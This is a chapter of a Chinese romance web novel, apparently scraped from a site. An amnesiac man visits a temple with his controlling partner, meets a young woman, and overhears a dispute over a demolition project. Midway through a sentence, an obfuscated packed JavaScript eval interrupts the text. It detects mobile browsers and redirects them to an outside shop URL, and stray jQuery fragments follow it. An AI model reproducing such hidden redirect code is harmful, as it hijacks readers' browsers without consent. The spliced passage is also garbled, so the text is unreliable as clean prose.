沈明聿没有说话,陆定勉把他耳后的肌肤揉红了。
庙里方丈不怕死的又往前走了两步,还没来得及继续刚刚没说完的话,就被王秘书堆笑着拉开了。
沈明聿说:“我和她不算朋友,只是路过时不小心互相撞了一下。”
陆定勉笑了笑,说:“就这么巧,路这么宽,偏就往你身上撞。”
两人又是一阵沉默,最后是陆定勉重新拉起沈明聿的手,缓缓往前走:“既然来了,怎么不进殿里拜拜?”
悟缘大寺有一种古朴的奢华,庙里的佛祖菩萨皆塑了金身。大寺内全都是古建筑,传说只修缮,不再建。
隔着氤氲的香火,沈明聿看不清菩萨的脸庞。陆定勉牵着他的手很凉,沈明聿说:“我不喜欢这里,更没什么好求的愿望。”
陆定勉不信佛,也不能信佛。俩人就这样牵着手往前走,沈明聿很想问陆定勉刚刚方丈在对他说什么话,但是陆定勉看起来心情不太好,沈明聿便也没有再自找麻烦。
直到来了另一头的庙宇,这座庙宇里的菩萨和刚刚的都不太一样。说里面奉的是菩萨,反倒更像是牌位。站在这座庙宇前,陆定勉好像变得很好说话。就连刀刻般的脸庞,也多了几分人味。他说:“我知道你有话想问我,你想问什么?”
其实沈明聿真没什么话想问,但看着这样的陆定勉,沈明聿鬼使神差般开口道:“你说我车祸失忆,你说你爱我,可我失忆了,你为什么不送我去医院看病呢?”
这个问题陆定勉没有回答,因为很快,王秘书就又找过来了。他的额上全是汗水,好像想对陆定勉耳语什么,但是陆定勉摆了摆手,他便喘着气站在原地说了:“先生,祁家公子来了,他找您找得急,像是因为项目上的事。”
陆定勉皱起眉头,直接快步走了。
王秘书好像纠结了一下是跟着陆定勉还是陪着沈明聿,最后还是沈明聿摇了摇头,王秘书便也飞快的跟着走了。
随着陆定勉离开,沈明聿不知怎么也松了一口气。他站在庙宇外,打量着那尊奇怪的菩萨像。
庙里菩萨低眉,身上是彩漆彩绘。和其他殿里澄黄的经幡不一样,这座庙宇里是火红的。长明灯闪烁,殿门大开着,沈明聿如魇了般想继续往前走。这里的一切都让他觉得眼熟。
他看到了菩萨身前的牌位,上面写的不是汉字,而是藏语。沈明聿是汉族人,可他就是觉得看得懂。
香火里,字迹有些模糊。沈明聿看到上面写着:值此赤红乙未羊年……
后面几个字看不清,沈明聿想再走进去看几眼,可刚抬起脚,肩膀就被人拍了一下。
那人道:“嘿!”
沈明聿差点被这人吓到灵魂出窍,本来精神头就不好,还在这座无人庙宇被人吓一跳。结果沈明聿刚扭头,就看到了冒冒失失的黎映慈。
黎映慈还和没事人一样,笑着说:“真巧啊,我们又见面了,话说你怎么跑这来了?”
沈明聿没理她,还想继续往前走。可是黎映慈揪着他的袖子,直接把他拉出来了。
直到又重新走到刚刚的古树下,远离了那座庙宇,黎映慈才开口道:“你难道不知道吗,那座庙宇不要随便进去。”
这沈明聿还真不知道,他问:“为什么?”
黎映慈压低了嗓音,小声说:“因为那根本就不是一座正经的庙宇,传说是一个人的衣冠冢。”
“衣冠冢?”
黎映慈点了点头:“但也只是一个传说啦。”
沈明聿还有话想问,但黎映慈却怎么也不愿再多说。
随着马上到正午,日头逐渐变得毒辣。两个人就这样躲在树荫下,有一搭没一搭的闲聊着。
沈明聿看着性子冷,不怎么好接近,其实是最最没有脾气的人了。小姑娘怕晒,他把陆定勉的外套脱下来给黎映慈遮太阳,自己却被晒得连眼睛都睁不开。
他问:“你是上山来看哥哥,岂不是马上就要走?”
黎映慈点点头,见没人应,这才想起来沈明聿闭着眼。叹了口气道:“对,其实按照惯例,我应该呆到下个月才回去,只是公司实在有些事。”
“有什么事,这么着急就要走?”
黎映慈沉默了半晌才道:“有个项目要拆迁了。”
“拆迁,这不是好事吗。”
任是沈明聿失过忆,也知道拆迁是一本万利的好事。多少人天天盼星星盼月亮盼着拆迁都盼不到,结果黎映慈却愁眉苦脸的。
黎映慈张了张嘴,好几次欲言又止,最后还是把话吞进了肚子里。重新又扬起一个笑道:“我没几天就要下山了,我见你亲切,又撞了你一下,要不要留个联系方式?”
“冤有头债有主,到时候万一有个什么一时觉察不出来的后遗症,你也好来找我。”
沈明聿听到这话,不由也笑了:“不过是撞了一下,我一个大男人,又不是豆腐做的,不至于被撞一下就散架了。”
黎映慈直起身子,扭头去看半靠在树下的沈明聿。他依旧闭着眼,睫毛浓密如鸦羽。金色的光斑映在他白皙的脸上,实在漂亮得不像样。
沈明聿等了半晌,不见人答话,便睁开了那双乌色的眸。在正午阳光的映衬下,他的眸子显出几分琥珀色来。消了几分鬼气,反倒格外引人怜惜。
黎映慈往前倾了倾,沈明聿背靠着大树,一时避无可避,僵直在原地。古树下是草丛,沈明聿用手撑着,黎映慈能闻到他身上的肤香,她笑了笑,重新道:“我想留个你的联系方式。”
沈明聿开口想要拒绝,但是黎映慈说:“我能感觉到你很孤独,恰好我也很孤独。两个孤独的人,难道不是最适合做朋友了吗?”
沈明聿怔住了,这回轮到他不停欲言又止了。最后千言万语汇聚成一句话,他说:“我没有联系方式。”
黎映慈满头问号:“难不成你没有手机?”
“我有手机,但是里面没有我的联系方式。”
“我不信,拿出来我看看。”
沈明聿不响了,因为他压根没有出门带手机的习惯。他之前出过车祸,各种身份证件全在火里消失了。重新办需要时间,但人也需要生活啊。所以陆定勉干脆给了他一个手机,用的是陆定勉的旧电话号码。
里面绑的也是陆定勉的副卡,沈明聿的每一笔消费记录扣款,他那里都会有短信提醒。沈明聿看见过,他觉得不自在。
但好在沈明聿的物欲很低,更没什么网瘾。加上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971787|214674||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
每次出门都有司机保姆遥遥跟着,对手机便丢三落四起来了。可这个理由,显然不能让人信服。
黎映慈看了沈明聿半晌,最后退一步般道:“既然你没有联系方式,那我给你留一个我的联系方式吧。”
她把手伸进口袋,变魔术般摸出了一张皱巴巴的纸和一支笔。在上面写了一串电话号码,塞进了沈明聿手里。
不放心似的又叮嘱了一句:“这是我的电话号码,wx号也是这个。前面那句话,我当你是默认了,既然默认了,就要信守承诺。我马上就要下山了,如果你不加我的联系方式,或许我们就再也见不到了。”
沈明聿拿这种女孩向来没什么办法,只能连连点头,举手投降。
黎映慈望了望天,天色不知怎么突然阴沉了下来。沈明聿把那张皱巴巴的纸条塞进口袋,这才后知后觉该回去了。连忙就要匆匆往回赶,还是黎映慈拉住了沈明聿的袖子,把那件黑色外套送到了沈明聿手里。
沈明聿倒吸一口凉气,真心实意道:“不好意思,我实在该走了,你等我加你联系方式,或者我们下次再约。”
语罢,还没来得及等黎映慈回应,就往寺院厢房去了。
沈明聿一路上越走越快,走到最后干脆跑了起来。结果跑到院子才发现,他不知道陆定勉是在哪个厢房里。于是便只能一间一间看。
悟缘大寺内,香客和僧人其实并不住在一处。僧人住里面,香客住在禅院外。也不知是佛祖慈悲顾念着沈明聿的梦魇,还是陆定勉发了什么话,方丈把沈明聿的住处也安排在了禅院内。
好不容易在僻静处找到了一间院子,院子外还站着两个笑吟吟的秘书。沈明聿又往那间院子里走,秘书们一个赛一个的人精,看见了沈明聿,连忙伸手把他往陆定勉在的屋子引。
只是在邻近屋子四五米的时候,秘书站着不动了。毕竟有些话,他们没资格听。有时候少知道一点,也是好事。
沈明聿径直往前走,来得太急,一时气都还没喘均。沈明聿站在门外小口喘气,木屋膈音不好,里面的声音直往他耳朵里钻。
有个人站在里面来回踱步,语气明显有些激动:“老陆,我俩是从小一个院里长大的兄弟,我也不瞒你,这个项目我势在必得。”
这个声音沈明聿认得,是祁少虞。
比起祁少虞,陆定勉显然冷静得多:“你们公司不是在搞什么人工智能孵化吗,专业不一样,这一口,你们吃不下。”
“吃不吃得下是我的本事,我姓祁,祁东街项目却把我踢出去,这算怎么回事?”
陆定勉有事并不瞒他,提到祁东街项目,沈明聿也有一些印象。好像是关于什么老旧房屋拆迁的,用的全都是听不懂的书面语,沈明聿只知道,好像是要把老旧房屋拆了,重新再建一个新的什么东西,用于商业改造。
里面的人敲了敲桌子,祁少虞把肚子里的话说了,一时也不再耍横。虽然是一个大院里长大的,但陆家和祁家,到底不一样。
祁少虞走到窗户边,刚摸出了一根烟还没来得及点燃,就听见陆定勉说:“把烟掐了。”
祁少虞没听懂陆定勉的话,但陆定勉下一秒就道:“聿聿,在外面站了那么久,怎么不进来?”